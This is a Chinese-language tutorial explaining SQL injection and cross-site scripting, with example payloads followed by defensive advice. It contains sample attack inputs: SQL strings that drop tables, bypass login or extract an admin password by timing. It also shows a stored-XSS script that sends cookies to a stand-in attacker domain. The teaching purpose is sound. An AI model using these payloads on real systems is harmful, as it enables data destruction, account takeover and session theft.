常见漏洞攻防
sql注入
简述及原理
SQL注入攻击的原理是通过输入恶意的SQL语句来欺骗应用程序。攻击者可以在Web应用程序的输入框中输入恶意的SQL语句,这些语句会被Web应用程序当作命令来执行,从而使数据库返回与攻击者期望的结果。当应用程序的输入验证不严格或者存在漏洞时,这些指令可以被注入应用程序中,从而导致SQL注入攻击的发生。
简单来说就是前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行, 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷) 。
参考
zhuanlan.zhihu.com/p/433211861...
SQL漏洞行常见案例
- 数字型注入(堆叠查询)
假设有一个电子商务网站,用户可以在搜索框中输入一个价格范围,以查找符合其预算的商品。网站可能会构建一个SQL查询来检索价格在用户指定范围内的商品,
例如SELECT product_name, price FROM products WHERE price BETWEEN 100 AND 200;
这个查询使用了用户输入的价格范围,但如果网站没有适当地验证和处理这些输入,攻击者可以进行数字型注入攻击。 攻击者可以在价格范围中注入恶意SQL代码,如下所示:SELECT product_name, price FROM products WHERE price BETWEEN 100 AND 200 OR 1=1;
在这个示例中,攻击者在输入中添加了 OR 1=1
,这将始终为真,因此查询将返回所有商品,而不仅仅是价格在100到200之间的商品。攻击者可以进一步扩展这种攻击来访问其他敏感数据或执行恶意操作
- 字符型注入(堆叠查询)
假设有一个博客网站,允许用户在评论中输入文本内容。网站可能会构建SQL查询来存储和检索评论,例如: INSERT INTO comments (user_id, comment_text) VALUES (1, '用户输入的评论内容');
如果应用程序未正确处理用户输入,攻击者可以在评论中注入恶意SQL代码。例如,攻击者可以输入以下内容' ; DROP TABLE users --
单引号 '
用于结束原始的评论内容。就会导致sql语句变成 INSERT INTO comments (user_id, comment_text) VALUES (1, '' ; DROP TABLE users --');
如果执行成功,会导致删除数据库中的 "users" 表。
- 搜索注入
假设有一个在线商店网站,允许用户通过搜索框查找商品。网站可能会构建一个SQL查询来执行搜索,例如: SELECT product_name, price FROM products WHERE product_name LIKE '%用户输入的搜索关键词%';
如果应用程序未正确处理用户输入,攻击者可以在搜索查询中注入恶意SQL代码。例如,攻击者可以输入以下内容作为搜索关键词:' OR 1=1 --
与上面类似,拼接后SELECT product_name, price FROM products WHERE product_name LIKE '%' OR 1=1 --%';
因为 1=1
总是为真,这个查询将返回所有商品的名称和价格,而不仅仅是与搜索关键词匹配的商品。攻击者可以使用这种漏洞来查看整个产品列表,而不受限制。
- 盲注
盲注攻击的原理是利用应用程序对恶意输入的响应情况(如延迟或不同的错误消息),来推断数据库中的信息。攻击者通过不断尝试恶意SQL代码,以确定条件是否为真,从而逐步获取敏感信息。
假设有一个登录页面,用户可以输入用户名和密码进行登录。应用程序的登录查询可能是这样的:SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
如果应用程序未充分验证或处理用户输入,攻击者可以尝试利用盲注攻击。攻击者可以使用以下查询SELECT * FROM users WHERE username = '输入的用户名' AND password = IF(SUBSTRING((SELECT password FROM users WHERE username='admin'), 1, 1)='a', SLEEP(5), 0);
这个查询尝试从数据库中获取管理员(username='admin')的密码的第一个字符,如果第一个字符是 'a',则会等待5秒钟(通过 SLEEP(5)
函数)。攻击者可以通过观察应用程序的响应时间来确定密码的第一个字符是否为 'a'。如果等待时间较长,他们就可以推断条件为真,即密码的第一个字符是 'a'。然后他们可以逐位地确定密码。 5. 增删改注入
增删改注入的原理与常规SQL注入相似,攻击者通过应用程序的输入字段注入恶意SQL代码,但这次的目标是执行对数据库的写入或修改操作,而不仅仅是查询数据。攻击者试图构造恶意的SQL语句,以修改或删除数据库中的记录,或者向数据库中插入恶意数据。
删除注入: 假设有一个简单的网页应用程序,允许用户根据提供的ID删除他们的帖子。应用程序可能会使用类似以下的SQL查询: DELETE FROM posts WHERE post_id = '输入的ID';
攻击者可以尝试注入恶意的ID,例如:1' OR '1'='1
。这将导致SQL查询变成以下形式: DELETE FROM posts WHERE post_id = '1' OR '1'='1';
由于 '1'='1'
始终为真,这个查询将删除所有帖子,因为它忽略了实际的post_id条件。
插入注入: 假设一个应用程序允许用户通过表单提交评论,然后将评论插入到数据库中。SQL查询可能如下所示: INSERT INTO comments (user_id, comment_text) VALUES ('用户ID', '输入的评论');
攻击者可以在评论字段中注入恶意SQL代码,例如: '); DELETE FROM users; --
这会导致在插入评论的同时,删除users
表中的所有记录,因为;
后面的代码会被当做独立的SQL语句执行。
更新注入: 假设一个应用程序允许用户更新其个人信息,例如更改密码。SQL查询可能如下所示: UPDATE users SET password = '新密码' WHERE user_id = '用户ID';
攻击者可以尝试注入恶意SQL代码,例如:' OR 1=1; --
这将导致SQL查询变成以下形式: sqlCopy code UPDATE users SET password = '新密码' WHERE user_id = '' OR 1=1; --';
这将使密码字段被更新为'新密码'的所有用户,因为条件1=1
始终为真。
SQL注入绕过案例
假设一个应用程序执行以下SQL查询来验证用户提供的用户名和密码: SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码';
输入的用户名: ' OR 1=1 --
输入的密码: 随意密码
这会导致SQL查询变成以下形式:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '随意密码';
在这种情况下,' OR 1=1 --
绕过了密码验证,因为1=1
始终为真,使攻击者能够登录而不知道正确的密码。
如何避免SQL注入
- 使用参数化查询(预处理语句): 使用编程语言或框架提供的参数化查询来构建和执行SQL查询。这将确保用户输入不会被直接插入到SQL语句中,从而防止注入攻击。
- 输入验证和过滤: 对用户输入进行严格的验证和过滤,确保输入数据符合预期的格式和范围。拒绝不合规的输入。
- 不要信任用户输入: 始终将用户输入视为潜在的恶意数据,即使是看似可信的用户也可能尝试进行攻击。
- 限制数据库权限: 最小特权原则是重要的,确保数据库用户仅具有执行其必需操作的最低权限级别。不要将数据库用户授予不必要的权限。
- 使用Web应用程序防火墙(WAF): 部署WAF来检测和阻止SQL注入攻击,这可以提供额外的安全屏障。
- 错误消息处理: 不要在错误消息中泄露敏感信息或数据库结构信息。将错误消息记录在服务器端,而不是显示给用户。
- 输出编码: 在将用户输入数据输出到HTML、JavaScript、SQL查询或其他上下文中时,进行适当的输出编码,以确保任何特殊字符都不会被解释为代码。
- 避免拼接字符串: 尽量避免使用字符串拼接来构建SQL查询,而是使用参数化查询或ORM(对象关系映射)框架来处理数据库交互。
- 更新和维护: 定期更新和维护应用程序和其依赖项,包括数据库系统和库文件,以修复已知的漏洞。
- 安全培训: 为开发人员、测试人员和管理员提供安全意识培训,以便他们了解SQL注入攻击和其他安全威胁,并知道如何预防和应对它们。
XSS
跨站脚本攻击(XSS,Cross-Site Scripting)是一种网络安全漏洞,攻击者利用它来注入恶意脚本代码(通常是JavaScript)到网页中,以便在受害者的浏览器上执行这些脚本。这种攻击可以允许攻击者窃取受害者的敏感信息、劫持用户会话、修改网页内容,甚至传播恶意软件。
简述及原理
- 注入恶意脚本: 攻击者通过应用程序的输入字段、URL参数、或其他用户交互方式,将恶意脚本代码注入到Web应用程序中。这通常包括JavaScript代码,可以用来窃取用户的Cookie、会话信息或其他敏感数据,或者修改页面内容。
- 脚本执行: 一旦恶意脚本被注入到网页中,当其他用户访问包含恶意脚本的页面时,他们的浏览器会将脚本视为正常的网页内容,并将其执行。这导致攻击者可以在受害者的浏览器上执行任意代码。
- 窃取数据或劫持会话: 一旦恶意脚本在受害者的浏览器中执行,攻击者可以利用它来窃取用户的Cookie、会话信息或其他敏感数据。这些数据可以用于未授权访问用户帐户或进行其他恶意操作。
- 修改页面内容: 攻击者还可以使用XSS来修改页面内容,这可能包括伪造网站的外观、显示虚假信息或重定向用户到恶意站点。
参考
常见类型和案例
XSS攻击通常分为三种主要类型:存储型XSS、反射型XSS和DOM型XSS,具体取决于攻击的方式和数据流动方式。
存储型XSS
假设有一个社交媒体网站,用户可以在个人资料上发布评论。网站的评论系统允许用户输入文本,并将其显示在个人资料页面上。攻击者利用这一机会提交了以下恶意评论:
html
<script>
// 恶意脚本,用于窃取用户的Cookie
var maliciousScript = new Image();
maliciousScript.src = "http://恶意网站.com/steal.php?cookie=" + document.cookie;
</script>
网站将这个评论存储在数据库中,而且它不会对评论中的HTML和JavaScript代码进行适当的过滤和转义。当其他用户访问攻击者的个人资料页面时,他们的浏览器将加载并执行这个存储的恶意脚本,导致他们的Cookie被窃取并发送到攻击者的服务器。
反射型XSS
考虑一个简单的搜索功能,用户可以在网站上搜索商品。网站的URL结构如下:
ini
http://目标网站.com/search?query=<用户输入>
攻击者可以构造一个恶意的URL,如下:
xml
http://目标网站.com/search?query=<script>alert('恶意脚本')</script>
当用户点击这个URL进行搜索时,网站的服务器会将恶意脚本提取并包含在搜索结果页面中,然后将响应发送给用户的浏览器。用户的浏览器执行这个恶意脚本,显示一个弹出窗口,其中包含了攻击者的恶意消息,这就是反射型XSS攻击的一个简单示例。
DOM型XSS 假设有一个简单的Web应用程序,允许用户在页面上输入用户名,并通过JavaScript在页面上显示该用户名。网站的JavaScript代码如下:
html
// 获取URL中的用户名参数
var username = window.location.href.split('=')[1];
// 显示用户名
document.getElementById('username').innerHTML = username;
攻击者可以构造以下恶意URL:
xml
http://目标网站.com/page?username=<script>alert('恶意脚本')</script>
当用户点击此URL时,JavaScript代码将提取URL中的username
参数,并在页面上显示它。然而,由于未对用户输入进行适当的过滤和转义,攻击者可以在username
参数中注入恶意脚本,导致弹出一个恶意弹出窗口,显示恶意消息。
如何避免XSS攻击
要避免跨站脚本攻击(XSS攻击),您可以采取以下一些关键的安全措施:
- 输入验证和过滤: 对用户输入数据进行严格的验证和过滤,确保输入符合预期的格式和范围。拒绝不合规的输入。
- 不要信任用户输入: 始终将用户输入视为潜在的恶意数据,即使是看似可信的用户也可能尝试进行攻击。
- 输出编码: 在将用户输入数据输出到HTML、JavaScript、SQL查询或其他上下文中时,进行适当的输出编码,以确保任何特殊字符都不会被解释为代码。
- 使用安全的HTML模板和框架: 使用安全的HTML模板和前端框架,这些工具通常会自动处理输出编码,从而减少XSS风险。
- HTTP标头: 设置适当的HTTP标头,如Content Security Policy (CSP) 标头,以限制页面中可加载的资源和脚本,从而减少攻击面。
- 避免内联脚本: 尽量避免使用内联JavaScript脚本(例如,将事件处理程序直接写在HTML标签中),而是使用外部JavaScript文件或在HTML中嵌入非交互式代码。